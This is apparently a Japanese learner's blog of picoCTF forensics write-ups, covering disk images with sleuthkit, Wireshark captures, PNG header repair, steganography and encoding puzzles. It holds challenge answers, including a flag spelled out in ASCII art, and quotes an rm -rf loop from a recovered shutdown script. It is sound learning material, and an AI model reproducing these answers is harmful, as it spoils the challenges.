  • Access checker program: nc saturn.picoctf.net 64605

という言葉とともに.gz形式のファイルが渡された。
 方向性があまり見えていない。mmlsについて調べてみる。

知識(mmls)
mmls ボリュームシステムのパーティションレイアウト情報を表示する。 mmls | Forensicist

 あんまりピンっと来ていない。触れたことのないやつですね。落ち着いて初手fileコマンド。
圧縮されているので展開してみるのがいいかも。.gzの圧縮展開についてよいサイトがあったのでそこで調べた(Linuxでの圧縮・解凍方法をまとめた(.gzのみ)。)。よってgunzip disk.img.gzを実行して展開。出てきたファイル(file disk.img)に対して、fileコマンド。

というわけで、imgファイルからディスクの中身を見ていこうと思う。mmlsの仕様を確認して、mmls -B disk.imgを実行。
 これでlinux partationのサイズはわかったのではないでしょうか?
通信を行ってみる。通信をするとサイズが聞かれるのでDescriptionがlinuxの行のlengthの値を入力。flagゲット。

考察  今回imgファイルの中をmmlsで見てみた。パーテーションがどのようになっているのかを確認した。これで怪しい領域を探していくのだろうか?ひとまずforensicらしい問題でした。

[2023/08/14]

[2024/01/23]

PcapPoisoning

How about some hide and seek heh? Download this file and find the flag. かくれんぼですか。よくわからん。まずはpcapファイルなので開いてみる。
よく目に入ってくるのはFTP-DATAとTCPである。

知識(FTP)
FTP (FTP) つまり、データを転送するときに使用するプロトコルということかな。暗号化されないらしいので何かしら情報が得られそう。

値を見ていくとgc2VjcmV0OiBwaWNvQ1RGeというものが多く記載されている。気になるがわからない。cyberchefでもなんともなかった。ずっと下に行くと色が変わる。
Infoを見るとTCP Retransmissionというものが行われている。

知識(TCP Retransmission)
TCP Retransmission (【Wireshark】TCP解析(Retransmission/Dup ACK など)) を参考にしました。要するに相手に送られたかがわからないと次に進めないので再送しているということだと思う。

ここで気が付いたが、time順にした方がいいですね。そうするとFTPTCP Retransmissionは同時刻に起こっている。ここで再送されたものを見ているときに0.101836の時刻にSource:172.16.0.2、Destination:10.253.0.6で行われている通信を開くとそのままflagあり。偶然見つかった感じで少し納得がいっていない。

考察 writeUpを確認する。(CTF Writeup: picoCTF 2023),(picoCTF 2023 writeup)この二つを確認してシナリオを自身で考えてみた。flagのやり取りをしている2つのPCはNo4でユーザーとパスを要求していることからここで認証を行っているユーザーだと考えられる。 (FTP - データのやり取りに使われるプロトコル)を参考にするとやはり認証が行われているようだ。ポートの20と21にも役割が固定されているようだ。それ以外はほかの人がFTPでやり取りしているせいで、flagをやり取りしているログが分かりにくくなっている。つまり、ポイズニングされてしまっているというのが問題の題名につながるように思った。

hideme

Every file gets a flag. The SOC analyst saw one image been sent back and forth between two people. They decided to investigate and found out that there was more than what meets the eye here.
画像からflagを得る問題。
まず不審なファイルを見たらfilestringsコマンドを行う。

└─# file flag.png
flag.png: PNG image data, 512 x 504, 8-bit/color RGBA, non-interlaced
└─# strings flag.png
~
secret/UT
secret/flag.pngUT
~

という謎の文字列あり。これがflagに関係していそう。しかも2回この文字列がある。
次に行うのはbinwalkですかね。

└─# binwalk flag.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 512 x 504, 8-bit/color RGBA, non-interlaced
41            0x29            Zlib compressed data, compressed
39739         0x9B3B          Zip archive data, at least v1.0 to extract, name: secret/
39804         0x9B7C          Zip archive data, at least v2.0 to extract, compressed size: 2997, uncompressed size: 3152, name: secret/flag.png
43036         0xA81C          End of Zip archive, footer length: 22

やっぱり何かしらのものが埋め込まれてますね。抽出して、確認。 その中に画像があってflagあり。終了。

[2024/01/30]

Wireshark twoo twooo two twoo...

この問題はライトアップ見ないで頑張りたいと意気込んでおります。 Can you find the flag?という言葉とともにpcapngをいただきました。なんぼあってもいいですね。 さてまず、どんな通信が行われているか。統計、プロトコル階層統計から探る。UDPは少々、TCPが良く利用され、HTTPも多いイメージ。 次に、ファイルからオブジェクトをエクスポートでHTTPを選択、text/htmlタイプのファイル名にflagがあり、終了と思ったがどれも値が異なり、正解でもなかった。

知識(DNS, GQUIC)
DNS IPアドレスドメイン名を紐づけるシステムのこと https://wa3.i-3-i.info/word1287.html
GQUIC GoogleのQUICのことだそうだ。 UDP上に用意したプロトコルでHTTPを行っている。 Quicとは何か? - Qiita

ここでpicoCTFで文字列検索をかけてみた。そうすると複数のflagらしき形式の文字列発見。あてずっぽうで一つ打ってみる。incorrect!ですよね。ここから正しいのを見つけないといけないようだ。 Source:18.217.1.57 Destination:192.168.38.104 HTTP 263 HTTP/1.0 200 OK (text/html)といパケットでpicoCTFのような文字列が送られている。
ここで偽のpicoCTFflagを送信しているアドレスに注目する。フィルタでip.addr == 18.217.1.57を用いて検索。はじめのhttp通信で送られてきたtext/htmlは何か書いてあった。「The official Red's Shrimp and Herring website is still under construction. Please check back later!」。Red's Shrimp and Herring websiteを後々確認せよということわかった。見てみると、DNSプロトコルでZnR3X2Rl.reddshrimpandherring.comのような先の文に関係しそうな文字列が含まれていた。そこに注目していくと、

cGljb0NU.reddshrimpandherring.com
RntkbnNf.reddshrimpandherring.com
M3hmMWxf.reddshrimpandherring.com
ZnR3X2Rl.reddshrimpandherring.com
YWRiZWVm.reddshrimpandherring.com
fQ==.reddshrimpandherring.com

一番下のURLを見た時にピンッと来ました。これBase64エンコードされている文字が含まれているのではないかと。「.reddshrimpandherring.com」の接頭語が何かしらをエンコードしたものになっていると考え、それらをつなぎ合わせて、cyberchefでbase64したらflagゲット。終了。

参考 (picoCTF 2021 Wireshark twoo twooo two twoo...)を見た。もっとスマートにwiresharkを使っていた。C2サーバに送られているような通信だという視点も納得。

who is it

Someone just sent you an email claiming to be Google's co-founder Larry Page but you suspect a scam. Can you help us identify whose mail server the email actually originated from? Download the email file here. Flag: picoCTF{FirstnameLastname}

疑っているようです。メールに添付ファイルあり。そして、onionmailということで身元隠している。怪しいですね。 あらかた見ましたが、名前まではわからないという感じ。writeup見てしまいました。(CTF Writeup: picoCTF 2023)そうするとipアドレスから割り出していた。ipアドレスには気づいていましたが、そこから割り当てることもできるのがびっくり。whoisコマンドで情報を出しpersonというとこで名前が分かる。終了。

Sleuthkit Apprentice

Download this disk image and find the flag. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

imgファイルを渡されたのが初めてで初手が分からんということで少し調べました。(Forensics入門(CTF))

イメージディスクを与えられたとき、filemmlsコマンドを初手で行うのが良いと思うので、
実行。

└─# file disk.flag.img
disk.flag.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0xc,223,19), startsector 2048, 204800 sectors; partition 2 : ID=0x82, start-CHS (0xc,223,20), end-CHS (0x16,111,25), startsector 206848, 153600 sectors; partition 3 : ID=0x83, start-CHS (0x16,111,26), end-CHS (0x26,62,24), startsector 360448, 253952 sectors
└─# mmls disk.flag.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000206847   0000204800   Linux (0x83)
003:  000:001   0000206848   0000360447   0000153600   Linux Swap / Solaris x86 (0x82)
004:  000:002   0000360448   0000614399   0000253952   Linux (0x83)

ちなみにファイルシステム

└─# fsstat -t disk.flag.img -o 2048
ext4

である。 以上から、パーテーションは3つに分かれているようだ。 2つ目はスワップ空間なので、オフセット2048と360448から始まるところを調べようと思う。 (スワップについて)

└─# fls disk.flag.img -o 2048
d/d 11: lost+found
r/r 12: ldlinux.sys
r/r 13: ldlinux.c32
r/r 15: config-virt
r/r 16: vmlinuz-virt
r/r 17: initramfs-virt
l/l 18: boot
r/r 20: libutil.c32
r/r 19: extlinux.conf
r/r 21: libcom32.c32
r/r 22: mboot.c32
r/r 23: menu.c32
r/r 14: System.map-virt
r/r 24: vesamenu.c32
V/V 25585:      $OrphanFiles
└─# fls disk.flag.img -o 360448
d/d 451:        home
d/d 11: lost+found
d/d 12: boot
d/d 1985:       etc
d/d 1986:       proc
d/d 1987:       dev
d/d 1988:       tmp
d/d 1989:       lib
d/d 1990:       var
d/d 3969:       usr
d/d 3970:       bin
d/d 1991:       sbin
d/d 1992:       media
d/d 1993:       mnt
d/d 1994:       opt
d/d 1995:       root
d/d 1996:       run
d/d 1997:       srv
d/d 1998:       sys
d/d 2358:       swap
V/V 31745:      $OrphanFiles

オフセットが360448から始まる方の中にrootやhomeディレクトリがあるので、ここにflagらしきものがないかを確認。

└─# fls -r disk.flag.img 451 -o 360448
└─# fls -r disk.flag.img 1995 -o 360448
r/r 2363:       .ash_history
d/d 3981:       my_folder
+ r/r * 2082(realloc):  flag.txt
+ r/r 2371:     flag.uni.txt

以上の結果からroot配下のディレクトリが怪しそう。flag.uni.txtを└─# icat disk.flag.img 2371 -o 360448で見てみるとflagゲット。

Disk, disk, sleuth!

Use srch_strings from the sleuthkit and some terminal-fu to find a flag in this disk image: dds1-alpine.flag.img.gz ということで、イメージファイルを受け取った。srch_strings というコマンドを使うのかな?

トリマ、自身を貫く。

└─# file dds1-alpine.flag.img
dds1-alpine.flag.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0x10,81,1), startsector 2048, 260096 sectors
└─# mmls dds1-alpine.flag.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000262143   0000260096   Linux (0x83)

パーテーションは一つしかないようだ。

└─# fls dds1-alpine.flag.img -o 2048
d/d 10161:      home
d/d 11: lost+found
r/r 12: .dockerenv
d/d 2033:       bin
d/d 8129:       boot
d/d 6097:       dev
d/d 16257:      etc
d/d 28449:      lib
d/d 22353:      media
d/d 24385:      mnt
d/d 26417:      opt
d/d 24386:      proc
d/d 26418:      root
d/d 24387:      run
d/d 26419:      sbin
d/d 20321:      srv
d/d 20322:      sys
d/d 20323:      tmp
d/d 24388:      usr
d/d 20324:      var
V/V 32513:      $OrphanFiles

rootやhome見てもファイルなし。
指示通りsrch_stringsを使ってみる。可読文字列を表示するので、grepを用いて検索をかける。 └─# srch_strings dds1-alpine.flag.img | grep picoCTFでflagゲット。

Disk, disk, sleuth! II

All we know is the file with the flag is named down-at-the-bottom.txt... Disk image: dds2-alpine.flag.img.gz 初手はお決まり、

└─# file dds2-alpine.flag.img
dds2-alpine.flag.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0x10,81,1), startsector 2048, 260096 sectors
└─# mmls dds2-alpine.flag.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000262143   0000260096   Linux (0x83)

前回と同じでパーテーションは1つだけ。

└─# fls dds2-alpine.flag.img -o 2048
d/d 26417:      home
d/d 11: lost+found
r/r 12: .dockerenv
d/d 20321:      bin
d/d 4065:       boot
d/d 6097:       dev
d/d 2033:       etc
d/d 8129:       lib
d/d 14225:      media
d/d 16257:      mnt
d/d 18289:      opt
d/d 16258:      proc
d/d 18290:      root
d/d 16259:      run
d/d 18292:      sbin
d/d 12222:      srv
d/d 16260:      sys
d/d 18369:      tmp
d/d 12223:      usr
d/d 14229:      var
V/V 32513:      $OrphanFiles

パーテーションの構造も酷似。 homeとrootを見てみる。

└─# fls -r dds2-alpine.flag.img 18290 -o 2048
r/r 18291:      down-at-the-bottom.txt

rootにありそう。

└─# icat dds2-alpine.flag.img 18291 -o 2048
   _     _     _     _     _     _     _     _     _     _     _     _     _
  / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \
 ( p ) ( i ) ( c ) ( o ) ( C ) ( T ) ( F ) ( { ) ( f ) ( 0 ) ( r ) ( 3 ) ( n )
  \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/
   _     _     _     _     _     _     _     _     _     _     _     _     _
  / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \
 ( s ) ( 1 ) ( c ) ( 4 ) ( t ) ( 0 ) ( r ) ( _ ) ( n ) ( 0 ) ( v ) ( 1 ) ( c )
  \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/
   _     _     _     _     _     _     _     _     _     _     _
  / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \
 ( 3 ) ( _ ) ( f ) ( f ) ( 2 ) ( 7 ) ( f ) ( 1 ) ( 3 ) ( 9 ) ( } )
  \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/

となっている。これを成形したらいいのかな?でけた。終了。

[2024/02/15]

[2024/02/16]

Pitter, Patter, Platters

'Suspicious' is written all over this disk image. Download suspicious.dd.sda1 ということで、イメージファイルを渡された。

└─# file suspicious.dd.sda1
suspicious.dd.sda1: Linux rev 1.0 ext3 filesystem data, UUID=fc168af0-183b-4e53-bdf3-9c1055413b40 (needs journal recovery)

だそうです。今までとは違うようだ。一つのパーテーションを渡された感じ?

└─# fls suspicious.dd.sda1
d/d 11: lost+found
d/d 2009:       boot
d/d 4017:       tce
r/r 12: suspicious-file.txt
V/V 8033:       $OrphanFiles

怪しいのがあるので見てみようと思う。

└─# fls suspicious.dd.sda1 12
Error extracting file from image (ext2fs_dir_open_meta: Error reading directory contents: 12
)

なにやら見れないようだ。

└─# icat suspicious.dd.sda1 12
Nothing to see here! But you may want to look here -->

中身的には覗かれるのは予想済みの様子。 もっと詳しく。見てみる。

└─# fls -r suspicious.dd.sda1
d/d 11: lost+found
d/d 2009:       boot
+ d/d 2010:     grub
++ r/r 2013:    e2fs_stage1_5
++ r/r 2014:    fat_stage1_5
++ r/r 2015:    ffs_stage1_5
++ r/r 2016:    iso9660_stage1_5
++ r/r 2017:    jfs_stage1_5
++ r/r 2018:    minix_stage1_5
++ r/r 2019:    reiserfs_stage1_5
++ r/r 2020:    stage1
++ r/r 2021:    stage2
++ r/r 2022:    stage2_eltorito
++ r/r 2023:    ufs2_stage1_5
++ r/r 2024:    vstafs_stage1_5
++ r/r 2025:    xfs_stage1_5
++ r/r 2026:    menu.lst
+ r/r 2011:     core.gz
+ r/r 2012:     vmlinuz
d/d 4017:       tce
+ r/r 4018:     mydata.tgz
+ d/d 4019:     optional
++ r/r 4022:    openssh.tcz.dep
++ r/r 4023:    gcc_libs.tcz.md5.txt
++ r/r 4024:    gcc_libs.tcz
++ r/r 4025:    openssl-1.0.0.tcz.md5.txt
++ r/r 4026:    openssl-1.0.0.tcz
++ r/r 4027:    openssh.tcz.md5.txt
++ r/r 4028:    openssh.tcz
++ r/r 4029:    nano.tcz.dep
++ r/r 4030:    ncurses.tcz.dep
++ r/r 4031:    ncurses-common.tcz.md5.txt
++ r/r 4032:    ncurses-common.tcz
++ r/r 4033:    ncurses.tcz.md5.txt
++ r/r 4034:    ncurses.tcz
++ r/r 4035:    nano.tcz.md5.txt
++ r/r 4036:    nano.tcz
++ r/r 4037:    nginx.tcz.dep
++ r/r 4038:    pcre.tcz.dep
++ r/r 4039:    bzip2-lib.tcz.md5.txt
++ r/r 4040:    bzip2-lib.tcz
++ r/r 4041:    pcre.tcz.md5.txt
++ r/r 4042:    pcre.tcz
++ r/r 4043:    nginx.tcz.md5.txt
++ r/r 4044:    nginx.tcz
++ r/r 4045:    fuse.tcz.md5.txt
++ r/r 4046:    fuse.tcz
++ r/r 4047:    libdnet.tcz
++ r/r 4048:    open-vm-tools.tcz
++ r/r 4049:    open-vm-tools-modules-3.8.13-tinycore.tcz
++ r/r 4050:    libtirpc.tcz.md5.txt
++ r/r 4051:    libtirpc.tcz
++ r/r 4052:    glib2.tcz.dep
++ r/r 4053:    libffi.tcz.md5.txt
++ r/r 4054:    libffi.tcz
++ r/r 4055:    glib2.tcz.md5.txt
++ r/r 4056:    glib2.tcz
+ d/d 4020:     ondemand
+ r/r 4021:     onboot.lst
r/r 12: suspicious-file.txt
V/V 8033:       $OrphanFiles

特段怪しいのはない。
ここで、今まではディスクイメージを渡されていたので、mmlsコマンドやautopsyが使えないのが難しい。他の探る方法はないかと思い、(Linuxディスク関連コマンドまとめ)を参考にする。 └─# dumpe2fs suspicious.dd.sda1└─# e2fsck -n suspicious.dd.sda1を使用したが、あまり有力と思われる情報はないように思った。 autopsyを拡張子の読み込みを変更したらsda1でも読み込むことができた。 これが、その中身、怪しいものはないようにも思う。 中身を見ていて思ったこと。 * /Carved Files/1には/tec/mydata.tgzと同じような構造のディレクトリが4つある。 * /Carved Files/1にあるのは削除されているディレクトリである。 * また、その4つの違いは/etc/hostnameがboxとyVMがある。 * また、/tce/mydata.tgz/mydata.tar/usr/local/etcにはnginxとsshというディレクトリがある。 * /tce/mydata.tgz/mydata.tar/home/tc/.ash_historyに実行されたコマンド履歴がある。

また、/tce/mydata.tgz/mydata.tar/opt/shutdown.shには以下のような記述があり。

#!/bin/busybox ash
. /etc/init.d/tc-functions
useBusybox
# put user shutdown commands here
# If no backup of home was done then loop through valid users to clean up.
if [ ! -e /tmp/backup_done ] || ! grep -q "^home" /opt/.filetool.lst; then
  awk 'BEGIN { FS=":" }  $3 >= 1000 && $1 != "nobody" { print $1 }' /etc/passwd > /tmp/users
  while read U; do
    while read F; do
      TARGET="/home/${U}/$F"
      if [ -d "$TARGET" ]; then
        rm -rf "$TARGET"
      else
        if [ -f "$TARGET" ]; then
          rm -f "$TARGET"
        fi
      fi
    done < /opt/.xfiletool.lst      
  done < /tmp/users

/tep/usersが存在するが、このsda1には見当たらない。

(bootsync.shについて)bootsync.shに
boxユーザーについて書かれている。boxユーザーを見てみようと思う。 お手上げ、writeup見る。 (picoCTF 2020 Mini-Competition)。
めちゃくちゃ要約するとslack領域というものが存在しているようだ。autopsyのデフォルトではこれが非表示になっていた。

知識(slack space)
slack space (slack spaceから機密情報を暴いてやる!!)を参考にしました。 つまり、ブロック単位(セクタ)でファイルを管理している。その時に、ファイルサイズがセクタやクラスタ未満のものを扱うと余っているとセクタやクラスタに使われない空きのようなとこができる。ここがslack spaceということらしい。 ここの機能がデータ復元の糸口になるようです。

/tool/option/slack領域のところを見ると確かに非表示にするようになっている。 非表示を解除して適応すると、新しくファイルが表示された。
そこにflagがある。flagが反転されているので、ツール(オンラインリバース文字列)を用いて反転すれば終了。

考察 autopsyを用いることが決め手になることが多いのはわかってきたが、設定的に知らないことがあると今回のような問題には対処できない。
徐々に知っていくのがいいと思う。

Operation Orchid

Download this disk image and find the flag.
シンプルなことしか書かれていませんね。まずはいつもの初手。

└─# file disk.flag.img
disk.flag.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0xc,223,19), startsector 2048, 204800 sectors; partition 2 : ID=0x82, start-CHS (0xc,223,20), end-CHS (0x19,159,6), startsector 206848, 204800 sectors; partition 3 : ID=0x83, start-CHS (0x19,159,7), end-CHS (0x32,253,11), startsector 411648, 407552 sectors
└─# mmls disk.flag.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000206847   0000204800   Linux (0x83)
003:  000:001   0000206848   0000411647   0000204800   Linux Swap / Solaris x86 (0x82)
004:  000:002   0000411648   0000819199   0000407552   Linux (0x83)

以前に見たことありそうな形。後々autopsyを使うが、まずはコマンドで。

└─# fls disk.flag.img -o 2048
d/d 11: lost+found
r/r 12: ldlinux.sys
r/r 13: ldlinux.c32
r/r 15: config-virt
r/r 16: vmlinuz-virt
r/r 17: initramfs-virt
l/l 18: boot
r/r 20: libutil.c32
r/r 19: extlinux.conf
r/r 21: libcom32.c32
r/r 22: mboot.c32
r/r 23: menu.c32
r/r 14: System.map-virt
r/r 24: vesamenu.c32
V/V 25585:      $OrphanFiles
└─# fls disk.flag.img -o 411648
d/d 460:        home
d/d 11: lost+found
d/d 12: boot
d/d 13: etc
d/d 81: proc
d/d 82: dev
d/d 83: tmp
d/d 84: lib
d/d 87: var
d/d 96: usr
d/d 106:        bin
d/d 120:        sbin
d/d 466:        media
d/d 470:        mnt
d/d 471:        opt
d/d 472:        root
d/d 473:        run
d/d 475:        srv
d/d 476:        sys
d/d 2041:       swap
V/V 51001:      $OrphanFiles

上の方は以前のやつだとあまり惹かれるものはなさそう。下だと、homeかrootあたりがまずは怪しい。

└─# fls -r disk.flag.img 472 -o 411648
r/r 1875:       .ash_history
r/r * 1876(realloc):    flag.txt
r/r 1782:       flag.txt.enc

怪しいのはある。

└─# icat disk.flag.img 1782 -o 411648
Salted__S�+%���+�O��k�ђ(A����c��
                                @]ԣ
L�ޢȤ7� ���؎$�'%
└─# icat disk.flag.img 1876 -o 411648
           -0.881573            34.311733

そんな簡単ではないよね。

└─# srch_strings disk.flag.img | grep pico
ffffffff816989a0 t pirq_pico_get
ffffffff816989c0 t pirq_pico_set
ffffffff824640e2 t pico_router_probe
application/x-sega-pico-rom
picoJava,

知ってる知ってるwないよね。

└─# fsstat -t disk.flag.img -o 411648
ext4

今回はこっちのファイルシステムのようだ。 先のicatの時にSalted__Sという文字列がある。これを調べるとOpenSSLを用いた暗号化の時に現れるようだ。(OpenSSLで共通鍵暗号を使う場合の鍵の指定)
そして、autopsyで/img_disk.flag.img/vol_vol4/root/.ash_historyの履歴を見ると

touch flag.txt
nano flag.txt 
apk get nano
apk --help
apk add nano
nano flag.txt 
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al
halt

暗号化が行われている。(【Linux】 OpenSSLでファイルの暗号と復号する方法)より、-kは昔の書き方で今は-passのようにするのだそう。パスワードを指定。(OpenSSLで共通鍵暗号を使う場合の鍵の指定) で-saltについても触れられていた。これ復号すればいいんとちゃうか? 先ほどのサイトを参考にして、└─# openssl enc -d -aes256 -pass pass:unbreakablepassword1234567 -in flag.txt.encをしたらflagゲット。意外と簡単だと思った。

advanced-potion-making

Ron just found his own copy of advanced potion making, but its been corrupted by some kind of spell. Help him recover it!ということで、よくわからないファイルを渡された。
まずは初手いつものやつをやる。

└─# file advanced-potion-making
advanced-potion-making: data
└─# strings advanced-potion-making
IHDR
sRGB
gAMA
        pHYs
v9IDATx^
(>Zv
e2>|

data形式でstringsでもflagっぽいのは特になかった。しかし、stringsコマンドの最初に出てきたIHDRについて調べてみた。(PNGを読む)PNG形式の話かもしれない。今までの感覚からするとhexdumpを行うのが良いと思った。

└─# hexdump -v -C advanced-potion-making |head -n 10
00000000  89 50 42 11 0d 0a 1a 0a  00 12 13 14 49 48 44 52  |.PB.........IHDR|
00000010  00 00 09 90 00 00 04 d8  08 02 00 00 00 04 2d e7  |..............-.|
00000020  78 00 00 00 01 73 52 47  42 00 ae ce 1c e9 00 00  |x....sRGB.......|
00000030  00 04 67 41 4d 41 00 00  b1 8f 0b fc 61 05 00 00  |..gAMA......a...|
00000040  00 09 70 48 59 73 00 00  16 25 00 00 16 25 01 49  |..pHYs...%...%.I|
00000050  52 24 f0 00 00 76 39 49  44 41 54 78 5e ec fd 61  |R$...v9IDATx^..a|
00000060  72 e3 4c 94 a6 59 ce 16  6a fe 76 cd fe 57 d7 dd  |r.L..Y..j.v..W..|
00000070  5b 18 45 e9 4b 8a 7a 28  d1 9d 20 48 07 a9 63 76  |[.E.K.z(.. H..cv|
00000080  ac 2d 2b 3e bf af 5f 07  18 01 82 d7 b2 f3 ff f3  |.-+>.._.........|
00000090  ff fc 7f ff 7f 00 00 00  00 00 00 00 4b 18 58 02  |............K.X.|

.PB形式のようだ?PNGではないの?いったんPNG拡張子をつけてみる。(マジックナンバーまとめ)
やはり、形式がだめ。編集してみる。

└─# hexdump -v -C advanced-potion-making.png |head -n 10
00000000  89 50 4e 47 0d 0a 1a 0a  00 12 13 14 49 48 44 52  |.PNG........IHDR|

これでもまだ、駄目のようです。(イメージヘッダ(Image header、IHDR))シグネチャの後ろChunk Dataは常に13(0d)だそうなのでそこも編集してみる。

└─# hexdump -v -C advanced-potion-making.png |head -n 10
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|


まっかっか。他もいじればいいのかな?

└─# hexdump -v -C advanced-potion-making.png
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 09 90 00 00 04 d8  08 02 00 00 00 04 2d e7  |..............-.|
00000020  78 00 00 00 01 73 52 47  42 00 ae ce 1c e9 00 00  |x....sRGB.......|
00000030  00 04 67 41 4d 41 00 00  b1 8f 0b fc 61 05 00 00  |..gAMA......a...|
00000040  00 09 70 48 59 73 00 00  16 25 00 00 16 25 01 49  |..pHYs...%...%.I|
00000050  52 24 f0 00 00 76 39 49  44 41 54 78 5e ec fd 61  |R$...v9IDATx^..a|

この構造から、

となっているようだが、不審なことはない。お手上げ、writeUpを見てみよう。 (picoCTF picoGym Practice Challenges WriteUp その3)ステガノグラフィーを考えるとよいそうだ。赤を無くせばよさそう。Stegsolveを使ってみたいので使ってみる。(スペクトログラムとステガノグラフィー)扱いにくいw(CTFにおけるステガノグラフィ入門とまとめ)にあるhttps://georgeom.net/StegOnline/upload(StegOnline)に入れる方が簡単である。色彩を変えたらフラグゲット。

考察 画像フォーマットを変えることまではよかったが、ステガノグラフィーを忘れていた。binwallk以外にも抽出方法があることを忘れない。

like1000

This .tar file got tarred a lot. .tar拡張子のものが渡された。圧縮されているので解凍してみる。

└─# tar -xvf 1000.tar
999.tar
filler.txt
└─# cat filler.txt
alkfdslkjf;lkjfdsa;lkjfdsa
└─# tar -xvf 999.tar
998.tar
filler.txt
└─# cat filler.txt
alkfdslkjf;lkjfdsa;lkjfdsa

ここから、filter.txtは同じようだ。しかし、圧縮されているものは999回圧縮されているようだ。そんなにコマンド打ちたくない。bashでのプログラムを書いた。

知識(bashプログラミング)
bashプログラミング (bash書き方基本) (bashでの算術演算) (for文構文)
#!/usr/bin/bash

kaku="tar"
number=1000
for i in `seq 999`
do
filename=$((number--)).${kaku}
tar -xvf ${filename}
rm ${filename}
done
exit 0

これで2.tarか1.tarにまで解凍できるので、あとは微調整するとpngが手に入る。flagが書かれているので、終了。

WhitePages

I stopped using YellowPages and moved onto WhitePages... but the page they gave me is all blank!

└─# strings whitepages.txt














なぜが空白が出てくる。なにかは書かれているのだろうか?

└─# hexdump -v -C whitepages.txt
00000000  e2 80 83 e2 80 83 e2 80  83 e2 80 83 20 e2 80 83  |............ ...|
00000010  20 e2 80 83 e2 80 83 e2  80 83 e2 80 83 e2 80 83  | ...............|
00000020  20 e2 80 83 e2 80 83 20  e2 80 83 e2 80 83 e2 80  | ...... ........|
00000030  83 e2 80 83 20 e2 80 83  e2 80 83 20 e2 80 83 20  |.... ...... ... |
00000040  20 20 e2 80 83 e2 80 83  e2 80 83 e2 80 83 e2 80  |  ..............|
00000050  83 20 20 e2 80 83 20 e2  80 83 e2 80 83 20 e2 80  |.  ... ...... ..|
00000060  83 20 20 e2 80 83 e2 80  83 e2 80 83 20 20 e2 80  |.  .........  ..|
00000070  83 20 20 e2 80 83 20 20  20 20 e2 80 83 20 e2 80  |.  ...    ... ..|
00000080  83 e2 80 83 e2 80 83 e2  80 83 20 20 e2 80 83 20  |..........  ... |
00000090  e2 80 83 20 e2 80 83 20  e2 80 83 e2 80 83 e2 80  |... ... ........|
000000a0  83 20 e2 80 83 e2 80 83  e2 80 83 20 20 e2 80 83  |. .........  ...|
000000b0  e2 80 83 e2 80 83 e2 80  83 e2 80 83 20 e2 80 83  |............ ...|
000000c0  20 e2 80 83 e2 80 83 e2  80 83 e2 80 83 e2 80 83  | ...............|
000000d0  20 e2 80 83 20 e2 80 83  e2 80 83 e2 80 83 e2 80  | ... ...........|

何かしら書かれているということで、hexdumpしてみた。e2 80 83が繰り返されているのかと思ったが、時々20が入っている。ASCII変換されたものを見るとスペースになっているようだ。もしかして、スペースを用いて何かしら書いているのだろうか?わからぬ。 (picoCTF 2019 WhitePages - Points: 250)を見た。(EM space)といわれるスペースがあるようだ。つまり、e2 80 83と20の二つ=二進数で書かれているという感じらしい。

od whitepages.txt -An -tx1 -v|tr '\n' ' '|tr -d ' '|sed -e "s/e28083/0/g"|sed -e "s/20/1/g"

(【Shellスクリプト】文字列置換「bash」「sed」について!) (trコマンドで空白文字を削除) (od コマンド) ここを用いて、コードは作った。 これで二進数にできた。cyberchefでbinaryにするとflagでた。

Eavesdrop

Download this packet capture and find the flag.ということで、pcapファイルを受け取った。
今までは通信のやり取りの理解を先にやっていたが、解析から迫っていきたいと思う。(CTFのフォレンジックにおけるネットワークフォレンジックまとめ [Wireshark, pcap])を参考にする。

プロトコル階層を眺めるとよいとのこと。UDPTCPでのやり取りを行っている。TCPではHTTPやDataのやり取りがされている。 エンドポイントはこんな感じ。パケット数が少ない方に注目した方が良いのか?
また、問題文のeavesdropは盗聴という意味。ではパケットは少ない方に注目かな。
   少ないやり取りをしている10.0.2.1と10.0.2.3に注目した。DNS名前解決している問い合わせかな?DHCPってなんや?

知識(DHCP)
DHCP (DHCPとは)。つまり、IPアドレスをもらうための通信ということだと思う。 (DHCP reuestについて)

さて、つまり、初めは10.0.2.15が10.0.2.3(DHCPサーバ)に通信をしている感じ。10.0.2.15が主役っぽい。10.0.2.1はDNS名前解決していると考える。

次に、少ない35.224.170.84についてみてみる。HTTP通信を確立させようとしている。実際成功しているが中身がなかったようだ(204 no content)。なので終了している。hint何かヒントになるのだろうか?
